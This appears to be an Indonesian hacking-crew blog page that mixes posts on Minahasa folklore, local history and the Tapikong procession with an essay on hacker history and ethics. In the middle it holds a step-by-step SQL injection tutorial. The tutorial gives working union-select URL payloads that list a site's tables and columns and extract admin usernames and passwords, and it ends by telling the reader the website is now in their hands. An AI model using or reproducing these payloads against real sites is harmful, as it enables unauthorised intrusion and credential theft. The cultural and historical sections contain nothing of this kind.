NewBie InsideTusaCrew

Legenda Burung Manguni & Opo / Dotu

Dasar pemikiran bahwa kata-kata “I Yayat U Santi” dari bahasa Tombulu tua yang arti harafia ‘acungkan pedang perang’. Dan ini dapat dibuktikan dan disajikan pada tari-tari perang seperti; seruan dalam tari perang cakalele “KAWASARAN’ (Kabasaran) adat Minahasa. Inilah konteks pengertiannya untuk logo Minahasa adalah “Siap berjuang untuk pembangunan Minahasa”.

Dipilihnya burung Manguni dari antara jenis burung lain didasarkan pada mithos leluhur Minahasa bahwa burung Manguni adalah salah satu ciptaan oleh Roh atau Opo paling atas yang menguasai langit dan bumi. Oleh ‘Opo Empung Wananatas’ tersebut menugaskan kepada burung Manguni (mauni = mengamati) untuk menjaga keselamatan anak-cucu Toar-Lumimuut, berjaga-jaga pada malam hari, tidak boleh tidur dan diberi kemampuan bunyi siul berbeda untuk signal aman atau bahaya. Penulis banyak tahu mengenai hal ini dari Srikandi Permesta, Len Karamoy (asal Tomohon), sebelum Permesta beliau memimpin sekelompok gerilya pecahan dari PPK (Pasukan Pembela Keadilan) pimpinan Jan Timbuleng.

Burung Manguni yang dinamakan ‘Hoot’ (bahasa Jawa: burung hantu), bentuknya sebesar burung Kakatua, berbuluh hitam keabu-abuan, matanya bulat membelalak menghadap kedepan, ada pula jenis burung hantu kecil ‘Tootosik’ dinamakan sesuai bunyi siulannya. Pada saat “bertugas” mereka bertengger membelakangi arah datangnya berita, apa bila pertanda baik siulannya syahdu dan apabila ada bahaya suaranya tergesa-gesa lemah seakan berbisik. Pertanda akan ada kemenangan mutlak bila ‘hoot’nya nyaring mengalun dan dilakukan berturut 3 kali 9 (‘telu makasiou’). Atas dasar pemikiran ini maka Jan Timbuleng (sekampung dengan Penulis, Walian) menamakan pasukan Permestanya ‘Brigade 999’ atau Triple Nine.

Masih ada jenis burung malam “Ki’ek”yang sambil terbang menyambar rendah dengan suara melengking (satu kali saja) selalu membawa berita ‘awas bahaya sudah dekat’. Ada lagi jenis burung Kookokuk yang belum pernah dilihat karena tempatnya jauh dalam hutan, apabila siulan si “kookokuk” nya mendekat menandakan bahaya semakin dekat dan bila suara jauh melemah artinya lawan telah menjauh. Pada siang hari ada burung “Menge’ngekek”, sebesar terkukur, buluh coklat, sayap kuning, ekor hitam panjang apabila tetap bertengger dibelukar dengan suara tawa mengejek tanda ‘awas waspada’ dan bila dia terbang rendah memintas didepan dengan suara panjang “nge’ek” berarti sebaiknya berhenti sebentar atau batalkan perjalanan. Kicauan burung ‘Kuoo’ dan ‘Kowkow’ bersahut-sahutan pada pagi hari menandakan suasana gembira dan tenteram, dan yang sekali-sekali diselingi suara ngantuk berat dari burung ‘Mu’kurz’ yang dijuluki roh penjaga hutan yang kesiangan.

Saya yakin burung-burung tersebut belum melupakan tugas yang diberikan oleh Penciptanya, namun kemajuan teknologi komunikasi moderen dan peralatan deteksi mutakhir telah meng-ambil alih kewajibannya dan mungkin pula burung-burung tersebut tetap memberi petanda akan peristiwa kekerasan dan bencana yang akan terjadi, tapi karena habitatnya sudah tergusur jauh kedalam hutan maka siulan warning-nya sudah tak terjangkau oleh pendengaran kita.



OPO – OPO.

Berikut tentang ‘opo-opo’ yang kini pengertiannya telah melenceng jauh dari arti yang sebenarnya, kini istilah opo-opo dianggap oleh sebagian besar generasi sekarang sebagai suatu perlakuan kerja sama antara roh-roh jahat dengan setan dari naraka.

Nenek moyang kita meskipun hidup dizaman batu, yang belum tersentuh ajaran agama atau budaya dari luar, tetapi sebagai machluk ciptaan Tuhan, seperti kita keturunannya juga telah dikaruniakan naluri dan kemampuan berpikir, kalau tidak, mana mungkin me-reka sanggup exist hidup dan berkembang hingga turun-temurun sampai abad 21 ini.

Para leluhur kita itu yakin bahwa manusia di bumi ini ada yang membuatnya dan me-reka tahu pula bahwa manusia terdiri dari tubuh fana dan roh yang tidak dapat mati, yang belum dipahaminya yaitu ajaran agama tentang adanya surga, naraka dan dosa, sehingga para leluhur kita berkeyakinan, roh orang mati akan tetap bergentayangan didunia. Yang pada masa hidupnya berperilaku baik menjadi roh atau opo yang baik, yang jahat akan tetap jahat. Pemahamannya bahwa ‘Opo Empung Wangko’ yang merajai semua Roh dan Opo telah menciptakan Opo baik dan Opo jahat dan para keturunan Toar-Lumimuut dapat memilih sesuai nurani mau jadi pengikut yang mana.

Seorang Tonaas dengan kemampuan mistiknya dapat berkomunikasi dengan opo-opo tersebut, ia sanggup memanggil roh opo masuk merasuk pada seorang ‘Pakampetan’

Semua yang hadir melalui Pakampetan dapat berkomunikasi dengan Opo-Opo, yang biasanya mula-mula memperkenalkan diri. Maka dari dialog tersebut kami dapat mengenal akan beberapa opo yang sakti(supra-natural), antara lain ‘Opo Siou Kurur’ karena badannya tinggi besar dan sanggup berjalan sangat cepat dijuluki ‘opo sembilan lutut’, berikut ‘Opo Don-dokambey’ dari Tonsea ke Watu Pinabetengan dengan menunggang kuda belang (bata-bata). Dan masyarakat Manado mengenal Opo Lolonglasut, Si Raja Wenang yang dina-makan ‘Tonaas Menandou’ (bahasa Tonsea, ‘menandou’ artinya ditempat jauh). Konon dahulu para leluhur dari Tonsea kalau hendak ke Wenang dengan roda sapi atau menung gang kuda, bila ditanya oleh bangsa pendatang (Belanda atau Portugis) apa nama tempat tujuan perjalanannya, oleh leluhur akan dijawab “menandou” yang diartikan oleh sipenanya bahwa kampung tujuan namanya “Menandou” kemudian disesuaikan dengan dialek orang barat “Menado’.

Sampai sekarang orang Minahasa bila hendak ke Manado akan berkata: ‘mange aki Wenang’ (Tonsea), ‘meros ti Wenang’ (Tombulu), ‘mae ki Wenang’ (Tondano). ‘mongem Wenang’ (Langoan), jadi sebenarnya Wenang adalah nama asli Kota Manado.

Kembali tentang Opo-Opo kita, dari generasi lebih muda antara lain yang dikenal sekitar pelabuhan Manado pada waktu itu ‘Opo Burik Muda’ si penggemar adu ayam, beliau salah satu anak buah Opo Lolonglasut dan masih banyak lagi Opo-Opo Sakti yang lain.

Dari Opo-Opo sakti melalui para Tonaas atau Pakampetan dapat diperoleh jimat-jimat berupa batu-batu cincin, jenis akar dll. yang dibungkus kain merah dan dilingkar pada pangkal lengan, paha dan pinggang untuk penangkal malapetaka, penyakit, kebal peluru, senjata tajam. Para Tonaas sanggup juga memanggil roh keluarga kita yang sudah me-ninggal dan si pakampetan yang kesurupan akan berperilaku dan suara yang sama de-ngan yang dipanggil. Namun sekarang ini, Tonaas dan Pakampetan sudah langkah, yang ada banyak yang munafik, hanya untuk popularitas atau maksud lain, mengaku sanggup mengobati semua penyakit luar dalam dan untuk meyakinkan publik dipakainya Kitab Suci sebagai media agar supaya tidak dituding iblis atau setan. Hal tersebut merusak image mengenai istilah ‘Opo-Opo’. Sekiranya ada ahli bahasa dan budaya Minahasa dapat meluruskan kembali dan merehabilitir arti kata luhur “Opo” pada proporsi sebe-narnya. (catatan : istilah ‘DOTU’ berasal bah.Melayu bukan asli Minahasa).

Sumber Penulis: Chep Ngangi
Selengkapnya...

MINAHASA DAN PERKEMBANGANNYA

Minahasa berasal dari kata Esa yag berarti satu; kata Mah-esa berarti menyatukan, yakni menyatukan berbagai kelompok sub-etnik Minahasa yang terdiri dari Tontemboan, Tombulu, Tonsea, Tondano, Ponosakan, Pasan, Ratahan, dan Bantik. Nama Minahasa pertama kali muncul dalam laporan Residen J.D Schierstein, tanggal 8 Oktoer 1789, yaitu tentang perdamaian yang telah dilakukan oleh kelompok sub-etnik Bantik dan Tombulu (Tateli); demikian pula antara kelompok sub-etnik Tondano dan Tonsawang (Godee Molsbergen, 1928 : 53).


Minahasa adalah semenanjung yang terletak di bagian paling utara dari semenanjung pulau Sulawesi, yaitu antara 0 derajat 51’ dan 1 derajat 51’ 40” lintang utara dan antara 123 derajat 21’ 30” dan 125 derajat 10’ bujur Timur. Luas semenanjung adalah 5373 kilometer persegi. Iklim daerah Minahasa terpegaruh oleh angin muson. Pada bulan September sampai April, bertiup angin pembawa hujan lebat. Bulan Mei sampai November bertiup angin selatan ke barat laut. curah hujan di darerah pedalaman Minahasa terhitung tinggi yaitu 4188mm pertahun dan jumlah curah hujan mencapai 195 hari. Suhu pesisir pantai agak tinggi, namun daerah pegunungan temperatur menunjukkan 26-27 derajat celsius pada musim hujan. Jenis vegetasi yang paling dominan sekarang adalah pohon kelapa (cocos nucivera) yang terdapat sejak Zaman Portugis, sedangkan sejak dahulu kala telah ada pohon seho (aranga sachariferum) sebagai pohon yang serba guna, dan sekarang yang menjadi tanaman favorit adalah Cengkih dan Vanili. Kuda (kawalo) telah dikenal penduduk sejak zaman spanyol sedangkan sapi didatangkan dari Benggala, India sejak zaman V.O.C (Tjahaja Siang, Januari 1870)

Bentuk masyarakat Minahasa pada zaman dahulu adalah bentuk Tribe. Bentuk masyarakat demikian dirinci oleh George Foster dkk dalam “Peasant Society” (1967) sebagai “Tribal System” atau kelompok masyarakat pedalaman yang pokok kehidupan adalah ladang pertanian. Unit politiknya yang tertinggi adalah Walak. Pada zaman dahulu dapat saja seorang walak kepala sub-etnik menjadi seorang Walian (pendeta religi pribumi) dan dalam fungsi seperti itu, kekuasaanya menjadi lebih mutlak. Ia akan merupakan seorang yang dekat dengan alam, karena dia harus dapat dengan cepat menangkap gejala-gejala alam untuk mengatasi persoalan yang mugkin terdapat di wilayahnya. Jadi dia harus seorang yang dapat membaca gejala-gejala alam yang diberikan alam sekitarnya, dan seorang yang mengerti akan batas-batas wewenang yang diberikan kepadanya. Seorang pimpinan dianggap seoseorang yang memiliki “kete” atau kekuatan. Karena memiliki kekuatan ini, maka ia dapat diangakat menjadi pemimpin. Ia dapat dianggap yang terbaik diantara warga sederajatnya yang terdapat dalam wilayahnya. Oleh sebab itu ia menjadi unsur “primus interpares” desanya. Dalam peran ini dia juga tidak boleh sewenang-wenang menggunakan kekuasaanya, terutama dalam soal pembagian tanah, karena dia juga bisa dikenakan sanksi dari “Opo” atau semacam sanksi Ilahi. Ia dapat menjadi “wales” maka akibatnya berat. Ia akan mendapat nama jelek dan dikucilkan dari masyarakat, sebagai hukuman bagi si pemimpin (J.A.T. Schwrz, Tontemboancher Teksten : 1907:133,381). Dalam istilah moderen disebut “character assassination”.

J.G.F Riedel sebagai seorang ahli pemerintahan pada tahun 1870 menilai pengangkatan kepala walak sebagai suatu yang khas di Minahasa. Riedel menulis sebagai berikut,”walaupun siapa saja di dalam wilayah itu, dapat dipanggil untuk memimpin pemerintahan yang dipilih oleh wakil-wakil/”ngaran” untuk menjadi kepala (abakai oem banoea), tetapi dalam cara memilih mereka tidak sembarangan”.


Batu Pinabetengan


Batu ini terdapat di daerah Tompaso, Minahasa Tengah, kira-kira 10 km masuk dari jalan raya Tompaso, dan terletak di lereng gunung Tonderukan, dekat gunung Soputan. Di pegunungan Tonderukan terdapat banyak batu. Menurut para ahli arkeologi batu-batu tersebut termasuk jenis “menhir”, yang dikenal sejak zaman pra sejarah dan termasuk tradisi “megaliktik”. Batu-batu seperti itu yang terdapat dilereng gunung Tonderukan menjadi tempat duduk untuk orang-orang mendengar bunyi burung. Salah satu batu yag letaknya lebih ke puncak dari batu pinabetengan dinamakan “kekeretan”, penduduk percaya bahwa itulah tempat duduk Opo Muntu Untu, bila ia turun maka disertai gemuruh yang dahsyat, dan biasanya turun ke gunung soputan sesudah itu baru ke gunung Tonderukan. Bila dia hadir maka manguni akan memberitakannya. Terdapat pula batu yang lain yang dikatakan tempat duduk Opo Kopero. Opo Muntu Untu adalah utusan Yang Maha Tinggi, atau Kasuruan (Tuhan). Kasuruan akan menyuarakan pesanannya melalui Manguni yang dilambangkan sebagai burung yang bijaksana. Bunyi yang bagus disebut Maapi. Manguni dipelihara oleh Opo khusus yaitu Opo Mamarimbing. Oleh sebab itu Manguni disebut juga se kokok se Mamarimbing atau burungnya Opo Mamarimbing yang dalam religi pribumi adalah juru bicara Kasuruan. Batu Pinabetengan merupakan suatu bukti bahwa Minahasa tegah-lah dahulu menjadi pusat kebudayaan nenek moyang. Dari sini, kita melihat bahwa cerita “lumimuut dan Toar” memiliki keterkaitan yang erat hubungnnya dengan cerita Batu Pinabetengan atau Batu pembagian wilayah untuk para sub-etnik. Setiap suku atau sub-sub yang datang kemudian seperti Tonsawang, Pasan, Ratahan, dan Bantik harus mengakui ikrar yang dilakukan di batu Pinabetengan yaitu mereka adalah satu keturunan, dari Lumiuut dan Toar,akibatnya versi mitos Lumimuut danToar menjadi banyak, mencapai lebih dri 90 versi. Tetapi terdapat versi yang sama dalam setiap cerita yaitu terdapatnya tanah,air dan batu.

dari seluruh cerita Batu Pinabetengan dapat disimpulkan bahwa, disitu adalah pusat dari religi pribumi. Kemudian batu itu menjadi simbol dari keseimbangan dari para sub-etnik yag datang kemudian. Jadi percampuran etnik untuk “Orang Minahasa” bukanlah sesuatu yang baru. Menerima etnik lain adalah suatu yang lumrah. Perlu dicatat bahwa Batu Pinabetengan itu diketahui pertamakali sebagai tempat pemujaan dari religi pribumi “Orang Minahasa” oleh J.G. Schwarz, penginjilan Nederlandsche Zendeling Genootschap (NZG ) yang bertugas di daerah Langouwan dan sekitarnya di tahun 1832.

TAPIKONG

Saat kerusuhan mendera Republik Indonesia, khususnya Ibukota Jakarta, deng beberapa kota besar laeng di Indonesia pada taong 1998, Etnis tionghoa adalah etnis yang paling dapa sayang, lantaran jadi korban dari kerusuhan tersebut. Toko-toko, kantor-kantor deng rumah-rumah, hangus dibakar massa, setelah isinya dijarah kong dibawa pulang tanpa rasa berdosa dengan logo “ milik pribadi “. Pe klaar kejadian tersebut, banya orang yang menghujat serta mengutuk tindakan brutal yang telah terjadi. Maar, biar lei mo hujat deng kutuk sampe ribuan kali, hal itu so nyanda mo sanggup kase pulang tu kerusakan deng kerugian yang terjadi.

Sebelum kerusuhan terjadi deng sesudahnya, banyak etnis tionghoa yang banya doi lari ke singapore, Amerika, ato Australia. Dorang samua lari, menghindari kerusuhan, bacari tampa aman. Maar, for beberapa etnis Tionghoa yang nyanda cukup doi for mo cari slamat ke luar negeri, dorang lari ke Manado dan memulai hidop baru disana. Kiapa kong dorang pilih Manado ? Sebab Manado adalah tampa dimana dorang boleh mo melebur deng masyarakat setempat, dimana nyanda ada diskriminasi ras. Samua sama, dibawah slogan,”Torang samua basudara”. Jadi nyanda perduli ngana mo mata sipit, kulit itang, bahkan, kalu lei ada kulit korotei, tetap orang nyanda mo beking suka pa ngana disana.

Apresiasi rasa pengertian deng persaudaraan yang kantal dari masyarakat sulawesi utara terhadap etnis tionghoa boleh torang mo lia dalam apa yang torang kenal dengan “Tapikong” . Setiap tahunnya, saat taong baru cina (Imlek), etnis Tionghoa diijinkan for mo beking arak-arakan ritual, yang mengarak “Ince Pia” (Tan Chi) orang yang sedang babawa peda tajang (saking depe tajang, tu peda boleh stou mo ba potong akang kumis), kong ada sementara potong depe lidah, badan, deng anggota tubuh lainnya.
Sejak kita pe tau dunia jo, acara ini so ada. Kong asal ngoni samua tau, dulu kita waktu kacili kalu ada arak-arakan bagitu, biar mo baku injang deng orang yang lebe basar, kong tagepe diantara orang orang yang depe badan lawang-lawang boke budo, kita tetap musti cari lia itu arak-arakan.
Kalu dari kita pe masa kacili itu tapikong so ada, muncul pertanyaan, mulai kapan so tu tapikong ada di Manado ? Untuk mo tau hal ini, torang musti bale ulang jaoh ke belakang, ke masa lalu.


Mulai tempo apa Orang Cina so ada di Manado ?

Di Desa Paso, sekitar danau Tondano pernah di temukan keramik Cina yang berasal dari jaman dinasti Tang, abad ke 7 Masehi. Penemuan ini sungguh mengejutkan, mengingat betapa tuanya usia keramik tersebut, serta lokasi penemuan Keramik cukup jauh dari Laut. Hal ini menujukkan bahwa pada saat itu, so ada interaksi antara Orang Minahasa deng Orang Cina. Hanya saja, belum dapat disimpulkan secara rinci, apa bentuk interaksi tersebut. Yang jelas keramik tersebut menujukkan adanya kehadiran Orang Cina di tanah Toar-Lumimu’ut pada jaman dulu.

Pada tahun 1521, waktu bangsa Portugis mendarat di pulau Manado Tua kong minta bantuan orang Babontehu for mo antara pa dorang bakudapa deng kepala walak Wenang ; Dotu Ruru-Ares, dorang so so dapa lia banyak perahu Jung Cina berada di teluk Manado. Bahkan dari pelau Cina-lah orang Portugis dapat mengetahui letak Makao dan menemukannya pada tahun 1523.
Setelah itu, Spanyol kase badiri kantor dagang (Loji) di Wenang yang berlokasi di pasar 45 sekarang (Pasar Jengky), atas ijin kepala Walak Wenang yang waktu itu so dijabat Dotu Lolong Lasut. Lantaran so ada kantor dagang Spanyol, maka pedagang Cina mulai kase badiri dorang pe rumah disekitar kantor dagang itu. Sebelumnya, baik pedagang Cina maupun Portugis dorang batimbun dorang pe barang dagang di pulau Manado Tua (Manaro), yang waktu itu lebeh populer dikalangan Spanyol-Portugis daripada Wenang (sekarang ini Manado).

Tahun 1679 waktu VOC Belanda beking perjanjian dengan Minahasa di Benteng Belanda di Manado (Pasar Jengky sekarang) saat itu so ada pawai-pawai adat Minahasa. Gubernur Belanda Robertus Padtbruge dalam depe laporan tentang Minahasa “Bewoners der Minahasa” tahun 1679, hlm. 217, bilang bahwa, Prajurit Tradisional Minahasa samua bapake gelang logam bergemerincing, kalong kulit kerang, deng suara Tambor yang depe ribut, minta ampuuun..!

Setelah orang Minahasa banyak yang menganut agama Kristen, kong pemerintahan VOC Belanda so beralih pa pemerintah Hindia Belanda, mulai muncul pawai Pigura for acara tutup taong deng pawai Lampion for ulang taong Raja Belanda. Salah satu pawai yang paling menarik yang ada waktu itu adalah “Tapikong” yang di adakan selama dua minggu oleh orang-orang Cina di Manado, for mo rayakan hari raya Imlek. Uniknya, pada abad 17, samua pawai upacara di kota Wenang Manado, selalu di dahului oleh barisan prajurit tradisional “Kabasaran” sebagai pembuka jalan. Hal ini membuktikan bahwa waktu itu, antara budaya Minahasa deng Etnis Kawanua, bisa melebur, dalam artikata, upacara nyanda bajalang sendiri-sendiri, melainkan bersamaan. Sangat disayangkan kalu saat ini Kabasaran deng Tapikong bajalang sandiri-sandiri.

Sekarang kita kembali kemasa kini, dimana kalu dulu pawai diadakan for merayakan sesuatu, sekarang, selain untuk merayakan dapat pula dijadikan obyek wisata yang menarik, yang bisa mendatangkan keuntungan bagi banyak pihak di Sulawesi Utara. Pawai tapikong deng depe “Ince Pia” (Tan Chi) boleh mo jadi nilai positif for pariwisata sulawesi Utara, apabila dikelola dengan baik oleh instansi terkait. Banyak turis lokal dari Cina Makassar.

Sumber: kamangta.freeservers
Selengkapnya...

SQL Injection step By step

Pengertian sql injection:

SQL injection adalah sebuah aksi
hacking yang dilakukan di aplikasi client dengan cara memodifikasi
perintah SQL yang ada di memori aplikasi clien dan juga merupakan
teknik mengeksploitasi web aplikasi yang didalamnya menggunakan
database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --

information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
[+]step Satu:=
===========

carilah target
misal: [site]/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100

sehingga muncul pesan error seperti berikut (masih bnyak lagi):


==========
[+]step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by

contoh: [site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)...
misal: [site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--


===========
[+]step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek
versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat
versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4
ini kita harus menebak sendiri table n column yg ada pada web tersebut
karena tidak bisa menggunakan perintah From+Information_schema..

untuk
versi 5 berarti anda beruntung tak perlu menebak table n column seperti
ver 4 karena di ver 5 ini bisa menggunakan perintah
From+Information_schema..


============
[+]step Empat:=
============

untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

seumpama table yang muncul adalah "admin"


===========
[+]step Lima:=
===========

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.
tables+where+table_schema=database()--


=============
[+] step Enam: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.
columns+where+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

http://www.piclist.com/techref/ascii.htm

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.
columns+where+table_name=0x61646D696E--


============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--


contoh kata yang keluar adalah id,username,password

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--


==============
[+] step Delapan:=
==============

tahap terakhir mencari halam admin atau login

selanjutnya terserah anda karena kekuasaan web ada di tangan anda...

Special Thanks :

=> JatimCrew
=> Yogyacarderlink
=> TusaCrew
Selengkapnya...

SEJARAH MUNCULNYA HACKER & CRACKER

Sejarah Hacker & Cracker
Pengertian Hacker & Cracker
Hirarki / Tingkatan Hacker
Kode Etik Hacker
Aturan Maen Hacker & Cracker
Perbedaan Hacker & Cracker
Dua Jenis Kegiatan Hacking
Contoh Kasus Hacker
Akibat yang ditimbulkan oleh Hacker & Cracker
Kesimpulan

SEJARAH HACKER & CRACKER
Hacker muncul pada awal tahun 1960-an diantara para anggota organisasi mahasiswa Tech Model Railroad Club di Laboratorium Kecerdasan Artifisial Massachusetts Institute Of Technology (MIT). Kelompok mahasiswa tersebut merupakan salah satu perintis perkembangan teknologi computer dan mereka beroperasi dengan sejumlah computer mainframe. Kata Hacker pertama kali dengan arti positif untuk untuk menyebut suatu anggota yang memiliki keahlian dalam bidang computer dan mampu membuat program computer yang lebih baik dari yang telah dirancang bersama. Kemudian pada tahun 1983,analogi Hacker semakin berkembang untuk menyebut seseorang yang memiliki obsesi untuk memahami dan menguasai system computer. Pasalnya,pada tahun tersebut untuk pertama kalinya FBI menangkap kelompok criminal computer The 414s yang berbasis di Milwaukee AS. 414 Merupakan Kode area local mereka. Kelompok yang kemudian disebut Hacker tersebut dinyatakan bersalah atas pembobolan 60 buah computer,dari computer milik Pusat Kanker Memorial Sloan-Kettering hingga computer milik Laboratorium Nasional Los Alamos.salah seorang dari antara pelaku tersebut mendapatkan kekebalan karena testimonialnya,sedangkan 5 pelaku lainnya mendapatkan hukuman masa percobaan.

Kemudian pada perkembangan selanjutnya muncul kelompok lain yang menyebut dirinya Hacker,padahal bukan. Mereka ini (terutama pria dewasa) yang mendapatkan kepuasan lewat membobol computer dan mengakali telepon (Phreaking).Hacker sejati menyebut orang-orang ini ‘Cracker’ dan tidak suka bergaul dengan mereka. Hacker sejati memandang Cracker sebagai orang Malas,tidak bertanggung jawab,dan tidak terlalu cerdas. Hacker Sejati tidak setuju jika dikatakan bahwa dengan menerobos keamanan seseorang telah menjadi Hacker.

Para hacker mengadakan pertemuan setiap setahun sekali yaitu diadakan setiap pertengahan bulan Juli di Las Vegas. Ajang pertemuan Hacker Terbesar di dunia tersebut dinamakan Def Con. Acara Def Con tersebut lebih kepada ajang pertukaran informasi dan teknologi yang berkaitan dengan aktivitas hacking.

PENGERTIAN HACKER & CRACKER
1. Hacker
Hacker adalah sebutan untuk mereka yang memberikan sumbangan yang bermanfaat kepada jaringan computer,membuat program kecil dan membagikannya dengan orang-orang di internet. Sebagai contoh: digigumi(Grup Digital) adalah sebuah kelompok yang mengkhususkan diri bergerak dalam bidang game dan kommputer.Digigumi ini menggunakan teknik-teknik Hexadecimal untuk mengubah teks yang terdapat didalam game. Contohnya,game Chrono Trigger berbahasa inggris dapat diubah menjadi Bahasa Indonesia.oleh karena itu,status Digigumi adalah Hacker namun bukan sebagai perusak. Hacker disini artinya,mencari,mempelajari mengubah sesuatu untuk keperluan hobi dan pengembangan dengan mengikuti legalitas yang telah ditentukan oleh developer game. Para Hacker biasanya melakukan penyusupan-penyusupan dengan maksud memuaskan pengetahuan dan teknik. Rata-rata perusahaan yang bergerak di dunia jaringan global (internet) juga memiliki hacker. Tugasnya yaitu untuk menjaga jaringan dari kemungkinan perusahaan pihak luar “Cracker” ,menguji jaringan dari kemungkinan lobang yang menjadi peluang para cracker mengobrak-abrik jaringannya,sebagai contoh: perusahaan asuransi dan auditing “Price Waterhouse”. Ia memiliki team hacker yang disebut dengan Tiger Team.mereka bekerja untuk menguji system sekuriti client mereka.

2. Cracker
Cracker adalah sebutan untuk mereka yang masuk ke system orang lain dan cracker lebih bersifat destruktif,biasanya di jaringan computer,membypass password atau lisensi program computer,secara sengaja melawan keamanan computer,men-deface (merubah halaman muka web) milik orang lain bahkan hingga men-delete data orang lain,mencuri data dan umumnya melakukan cracking untuk keuntungan sendiri,maksud jahat,atau karena sebab lainnya karena ada tantangan beberapa proses pembobolan dilakukan untuk menunjukan kelemahan system.

HIRARKI / TINGKATAN HACKER
1. Elite
Ciri-ciri : mengerti system operasi luar dalam,sanggup mengkonfigurasi & menyambungkan jaringan secara global,melakukan pemrograman setiap harinya, efissien & trampil, menggunakan pengetahuannya dengan tepat, tidak menggunakan data-data dan selalu mengikuti peraturan yang ada. Tingkat Elite ini sering disebut dengan “SUHU”.

2. Semi Elite
Ciri-ciri : lebih muda dari golongan elite mempunyai kemampuann & pengetahuan luas tentang computer,mengerti tentang system operasi (termasuk lubangnya),kemampuan programnya cukup untuk mengubah program Eksploit.

3. Developed Kiddie
Ciri-ciri : umumya masih muda (ABG) & masih sekolah, mereka membaca tentang metoda hacking & caranya di berbagai kesempatan, mecoba berbagai system sampai akhirnya berhasil & memproklamirkan kemenangan ke lainnya, umumnya masih menggunakan Grafik User Interface (GUI) & baru belajar basic dari UNIX tanpa mampu menemuka lubang kelemahan baru di system oerasi.

4. Script Kiddie
Ciri-ciri : Seperti developed kiddie dan juga seperti Lamers, mereka hanya mempunyai pengetauan teknis networking yang sangat minimal, tidak lepas dari GUI, Hacking dilakukan menggunakan Trojan untuk menakuti & menyusahkan hidup sebagian pengguna internet.

5. Lamer
Ciri-ciri : tidak mempunyai pengalaman & pengetahuan tapi ingin menjadi Hacker sehingga Lamer sering disebut sebagai “Wanna Be” Hacker, penggunaan computer mereka untuk main game , IRC, Tukar menukar Software Prirate, mencuri kartu kredit, melakukan hacking dengan menggunakan software Trojan, Nuke, & DoS, suka menyombongkan diri melalui IRC Channell, dan sebagainya karena banyak kekurangannya untuk mencapai Elite, dalam perkembangannya mereka hanya akan sampai level developed kiddie atau script kiddie saja.

CRACKER tidak mempunyai Hirarki karena sifatnya hanya membongkar dan merusak.

KODE ETIK HACKER
1. Mampu mengakses computer tak terbatas dan totalitas.
2. Semua Informasi haruslah FREE.
3. Tidak percaya pada otoritas, artinya memperluas desentralisasi.
4. Mampu membuat seni keindahan dalam computer.
5. Komputer dapat mengubah hidup menjadi lebih baik.
6. Pekerjaan yang dilakukan semata-mata demi kebenaran informasi yg harus disebarluaskan.
7. Memegang teguh komitmen tidak membela dominasi ekonomi industry software tertentu.
8. Hacking adalah senjata mayoritas dalam perang melawan pelanggaran batas teknologi computer.
9. Baik Hacking maupun Phreaking adalah satu-satunya jalan lain untuk menyebarkan informasi pada massa agar tak gagap dalam computer.
10. Saling membagi Informasi mengenai computer, Programer, & Networking.

Cracker tidak memiliki kode etik apapun.

ATURAN MAIN HACKER
Gambaran umum aturan mainyang perlu diikuti seorang hacker seperti dijelaskan oleh Scorpio, yaitu :
 Di atas segalanya, hormati pengetahuan & kebebasan Informasi.
 Memberitahukan system Administrator akan adanya pelanggaran keamanan lubang dikeamanan yang anda lihat.
 Jangan mengambil keuntungan yang tidak fair dari hack.
 Tidak mendistribusikan & mengumpulkan software bajakan.
 Tidak pernah mengambil resiko yang bodoh – selalu mengetahui kemampuan sendiri.
 Selalu bersedia untuk secara terbuka / bebas / gratis memberitahukan & mengajarkan berbagai informasi & metoda yang diperoleh.
 Tidak pernah meng-hack sebuah system untuk mencuri uang
